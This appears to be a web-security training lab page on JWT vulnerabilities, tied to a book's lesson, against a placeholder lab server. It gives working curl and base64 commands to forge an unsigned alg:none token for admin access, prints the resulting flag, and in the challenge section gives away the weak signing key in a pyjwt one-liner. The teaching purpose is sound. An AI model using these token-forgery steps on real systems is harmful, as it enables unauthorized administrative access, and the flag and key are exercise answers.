JWT Vulnerabilities
A site authenticates users with JWTs. The token is signed. But the server accepts the alg header from the token itself — so you can tell the server to stop verifying the signature, and forge your own token.
The rule: you have a valid JWT for user demo with role user. The server has an admin-only endpoint. Your job is to forge a token that says role: admin — and get the server to accept it.
Test
Copy these. Run them. Read what comes back.
Step 1 · Log in and inspect the JWT
Sign in. The server returns a JWT. It has three parts, separated by dots.
curl -s -X POST "{LAB_API_BASE}/api/27/login" \
-H "Content-Type: application/json" \
-d '{"username":"demo","password":"demo123"}'What you'll see:
{
"ok": true,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZGVtbyIsInJvbGUiOiJ1c2VyIn0.xxxx"
}The three parts are header, payload, and signature. Decode the first two — they're just base64.
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d
echo
echo 'eyJ1c2VyIjoiZGVtbyIsInJvbGUiOiJ1c2VyIn0' | base64 -dWhat you'll see:
{"alg":"HS256","typ":"JWT"}
{"user":"demo","role":"user"}The header says the algorithm is HS256. The payload says role: user.
Step 2 · Try the admin endpoint with the normal token
The admin endpoint checks the role claim.
curl -s "{LAB_API_BASE}/api/27/admin" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZGVtbyIsInJvbGUiOiJ1c2VyIn0.xxxx"What you'll see:
{
"ok": false,
"error": "admin role required"
}Denied. The server verified the signature — you did not forge the token, you just tried the real one. Now forge it.
Step 3 · Forge a token with alg: none
Some JWT libraries accept a token whose header says alg: none — and skip signature verification entirely. The server in this lab does. Craft a token with no signature.
HEADER=$(printf '%s' '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(printf '%s' '{"user":"demo","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
TOKEN="$HEADER.$PAYLOAD."
curl -s "{LAB_API_BASE}/api/27/admin" \
-H "Authorization: Bearer $TOKEN"What you'll see:
{
"ok": true,
"panel": "admin",
"note": "JWT alg:none accepted — signature verification skipped",
"flag": "HL{jwt_4lg_n0n3_4cc3pt3d}"
}The server read the header, saw alg: none, and skipped verification. The payload said role: admin. You reached the admin panel with a token you forged from scratch.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The alg: none trick no longer works — the server has been patched to reject it. But there is another classic JWT flaw: the secret is weak.
The server signs tokens with a short symmetric key. A well-known wordlist will crack it. Try common words: secret, hunterlian, jwt, password, lab, hunter.
One of them is the key. Sign a token with role: admin using that key, HS256. Fetch /api/27/vault with it. The flag is in the response.
python3 with pyjwt makes this easy: jwt.encode({"user":"demo","role":"admin"}, "hunter", algorithm="HS256").
Solved.
You forged a JWT the server trusted. Read why it happened and how to prevent it — in Lesson 27.
Read Lesson 27 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 27 — JWT Vulnerabilities
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →